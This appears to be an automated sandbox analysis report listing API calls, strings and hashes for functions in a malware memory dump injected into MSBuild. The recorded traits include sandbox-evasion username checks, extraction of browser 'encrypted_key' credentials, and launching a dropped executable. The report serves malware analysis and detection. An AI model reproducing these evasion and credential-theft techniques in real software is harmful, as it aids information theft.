Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: 06d8bcf75f44e348f7391a26ab0621eb9969fb8c540d62bf044f5c6cf749d53e
Instruction ID: b8b9c5dd0dff2f2b5d08f6bbf6786529be4e75c42c723ae675bff00fbe205e3e
Opcode Fuzzy Hash: 06d8bcf75f44e348f7391a26ab0621eb9969fb8c540d62bf044f5c6cf749d53e
Instruction Fuzzy Hash: 9721D4B194122C9BCB60CF159C486DDB7B4BB49309F40B1DAD5897B210C7B84AD9CF99

Function 0041260C Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 204stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

_memset.LIBCMT ref: 004127B1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 004127C3
lstrcatA.KERNEL32(?,00436698), ref: 004127D5
lstrcatA.KERNEL32(?,60c3d71341c994ff133b7c9a96482d32), ref: 004127E7
lstrcatA.KERNEL32(?,0043669C), ref: 004127F9
lstrcatA.KERNEL32(?,?), ref: 00412809
lstrcatA.KERNEL32(?,004366A0), ref: 0041281B
lstrlenA.KERNEL32(?), ref: 00412824
lstrcatA.KERNEL32(?,EMPTY), ref: 00412840
lstrcatA.KERNEL32(?,004366AC), ref: 00412852
lstrcatA.KERNEL32(?,?), ref: 00412862
lstrcatA.KERNEL32(?,004366B0), ref: 00412874
lstrlenA.KERNEL32(?), ref: 00412881
_memset.LIBCMT ref: 004128B7

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,004366B4,?), ref: 00412924
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00412932

Strings

EMPTY, xrefs: 0041283A
60c3d71341c994ff133b7c9a96482d32, xrefs: 004127DB
.exe, xrefs: 0041264F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$60c3d71341c994ff133b7c9a96482d32$EMPTY
API String ID: 141474312-2908903439
Opcode ID: 20835fbc45a8d8a644cb249f977d3d46bea313d0cec8fa9b25ccb71e238043a7
Instruction ID: 6746e5830baf5f5a63b52b887540b63d9ca5c37cacf765e4133765e88c3a0580
Opcode Fuzzy Hash: 20835fbc45a8d8a644cb249f977d3d46bea313d0cec8fa9b25ccb71e238043a7
Instruction Fuzzy Hash: 45813FB1E5012DABCF11EF61DD46ACD7379AB04309F4054BAB608B3051D679AF898F58

Function 0041B9BA Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,759183C0,00000000,0041C6A5,?), ref: 0041B9BF
StrCmpCA.SHLWAPI(759183C0,0043613C), ref: 0041B9ED
StrCmpCA.SHLWAPI(759183C0,.zip), ref: 0041B9FD
StrCmpCA.SHLWAPI(759183C0,.zoo), ref: 0041BA09
StrCmpCA.SHLWAPI(759183C0,.arc), ref: 0041BA15
StrCmpCA.SHLWAPI(759183C0,.lzh), ref: 0041BA21
StrCmpCA.SHLWAPI(759183C0,.arj), ref: 0041BA2D
StrCmpCA.SHLWAPI(759183C0,.gz), ref: 0041BA39
StrCmpCA.SHLWAPI(759183C0,.tgz), ref: 0041BA45

Strings

.zoo, xrefs: 0041BA03
.lzh, xrefs: 0041BA1B
.zip, xrefs: 0041B9F7
.arc, xrefs: 0041BA0F
.gz, xrefs: 0041BA33
.arj, xrefs: 0041BA27
.tgz, xrefs: 0041BA3F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction ID: 7a45d3996b05b39701ef314336ae52375450dcb3a07e9cf3ae28b7fa575695ef
Opcode Fuzzy Hash: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction Fuzzy Hash: 0701B5B2795367B09A221232EC41FFF1D5CDD86F90B15112BE900A2188DB5C99C355FD

Function 004139C2 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,0041788E), ref: 004139D7
ExitProcess.KERNEL32 ref: 004139E2
strtok_s.MSVCRT ref: 004139F3

Strings

block, xrefs: 004139CB

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: ad2819f8da81c7b08e1e457f54156af532c3a4692a0bc0de58dd00cdfb3c9ab4
Instruction ID: 9e2abf34b02cddae1b0fa04c6dc88f1d30775994422634f8dc56bb1647053282
Opcode Fuzzy Hash: ad2819f8da81c7b08e1e457f54156af532c3a4692a0bc0de58dd00cdfb3c9ab4
Instruction Fuzzy Hash: 7B414F70A48306BBEB44DF60DC49E9A7B6CFB1870BB206166E402D2151FB39B781DB58

Function 6CA79590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA63217
Part of subcall function 6CA631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA63236
Part of subcall function 6CA631C0: FreeLibrary.KERNEL32 ref: 6CA6324B
Part of subcall function 6CA631C0: __Init_thread_footer.LIBCMT ref: 6CA63260
Part of subcall function 6CA631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA6327F
Part of subcall function 6CA631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6328E
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632AB
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632D1
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA632E5
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA79675
__Init_thread_footer.LIBCMT ref: 6CA79697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA79707
__Init_thread_footer.LIBCMT ref: 6CA7971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA797B7
FreeLibrary.KERNEL32 ref: 6CA797D0
FreeLibrary.KERNEL32 ref: 6CA797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA79670
NtMapViewOfSection, xrefs: 6CA79701
MapViewOfFileNuma2, xrefs: 6CA797B1
ntdll.dll, xrefs: 6CA796E3

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: ac1afd3136beafdc097a6f953201ee631958defbca15bd7cf83bc4379aa8e594
Instruction ID: aed25b8c25614024c2c02b7bdf61a6caa50020d89fa157567bc4c59b4b28b33a
Opcode Fuzzy Hash: ac1afd3136beafdc097a6f953201ee631958defbca15bd7cf83bc4379aa8e594
Instruction Fuzzy Hash: 1D61C1756003029BDF148F79ED88A9A3BB5FB4E314F04861EE91587B80E7349885DBE1

Function 6CABD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD52A
GetCurrentThreadId.KERNEL32 ref: 6CABD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD55F
free.MOZGLUE(00000000), ref: 6CABD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CABD5D3
GetCurrentThreadId.KERNEL32 ref: 6CABD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD652
GetCurrentThreadId.KERNEL32 ref: 6CABD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD6A2

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0deb0615b0dc42ecbf22fe217557860cd7d0ed14c72e9254ca44effaf19a1352
Instruction ID: 19c675c32d7e30b67c832e3ae6673ff04c8d2951efb3d4238541b1aa7c273e55
Opcode Fuzzy Hash: 0deb0615b0dc42ecbf22fe217557860cd7d0ed14c72e9254ca44effaf19a1352
Instruction Fuzzy Hash: 50518075A04706DFC744CF34D488A9ABBF4FF89318F00862DE85A97711DB30A489CB95

Function 6CAAEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAEC8C

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAECA1
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CAAECC5
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAAED19
CloseHandle.KERNEL32(?), ref: 6CAAED28
free.MOZGLUE(00000000), ref: 6CAAED2F
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CAAEC94

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 638c6d47b3b69b8f43f65868907107b4dfc5c970579894abeccc923aea8375b8
Instruction ID: ffb5a7db4938161262edcbf19a858414c88e87ef885421331b5ae853f7f3fc85
Opcode Fuzzy Hash: 638c6d47b3b69b8f43f65868907107b4dfc5c970579894abeccc923aea8375b8
Instruction Fuzzy Hash: AA21F675600305AFDB019FA4EC08AAA7739FB4936CF148214FC1847740D73198AB9BF5

Function 0041580D Relevance: 18.2, APIs: 12, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415845
_memset.LIBCMT ref: 00415856

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 004121E7: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,0041595C,?), ref: 004121F2

StrStrA.SHLWAPI(00000000), ref: 0041596A
GlobalFree.KERNEL32(?), ref: 00415A8C

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

lstrcatA.KERNEL32(?,00000000), ref: 00415A18
StrCmpCA.SHLWAPI(?,00436645), ref: 00415A35
lstrcatA.KERNEL32(?,?), ref: 00415A54
lstrcatA.KERNEL32(?,00436A8C), ref: 00415A65

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 4109952398-0
Opcode ID: d26aa042b157f76280ac1bd2c5c0b2e767f8977a975bf23e6428a7b657f88bac
Instruction ID: 6183751a843e9b5ccf38989ff522c42df2aa56b0b2be8c3795fe486b73397a39
Opcode Fuzzy Hash: d26aa042b157f76280ac1bd2c5c0b2e767f8977a975bf23e6428a7b657f88bac
Instruction Fuzzy Hash: A2715DB1D4022D9FDF20DF60DC45BCA77BAAF88314F0405E6E908A3250EA769FA58F55

Function 00428C64 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00428C7D

Part of subcall function 004241C2: Sleep.KERNEL32(00000000,?), ref: 004241EA

__calloc_crt.LIBCMT ref: 00428CA1
_free.LIBCMT ref: 00428CAF
__calloc_crt.LIBCMT ref: 00428CBD
_free.LIBCMT ref: 00428CCD
_free.LIBCMT ref: 00428CD3
__copytlocinfo_nolock.LIBCMT ref: 00428CE2
__setlocale_nolock.LIBCMT ref: 00428CEF
_free.LIBCMT ref: 00428D08
__setmbcp_nolock.LIBCMT ref: 00428D1A
_free.LIBCMT ref: 00428D28
_free.LIBCMT ref: 00428D3C

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction ID: 2633d5c75628dbda373d059fab78691d05321d8df285e908f3ee51af2af815d3
Opcode Fuzzy Hash: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction Fuzzy Hash: 0321373170B520ABD721BF27F80295FBBE4DF91754BA0842FF8848A251DF3D9851866D

Function 004015E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015C6
Part of subcall function 004015BC: HeapAlloc.KERNEL32(00000000), ref: 004015CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00401606
GetLastError.KERNEL32 ref: 0040160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00401614
GetWindowContextHelpId.USER32(00000000), ref: 0040161B
GetWindowLongW.USER32(00000000,00000000), ref: 00401623
RegisterClassW.USER32(00000000), ref: 0040162A
IsWindowVisible.USER32(00000000), ref: 00401631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401644
IsDialogMessageW.USER32(00000000,00000000), ref: 0040164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401656
HeapFree.KERNEL32(00000000), ref: 0040165D

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction ID: 597bc7deab9f95c5419af2560a3a18d661806b2e942c9da5f2f727d66e905f75
Opcode Fuzzy Hash: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction Fuzzy Hash: 17014672402824FBC7156BA1BD6DDDF3E7CEE4A3527141265F60A910608B794A01CBFE

Function 6CA8C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA8C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA8C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA8C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA8CA12
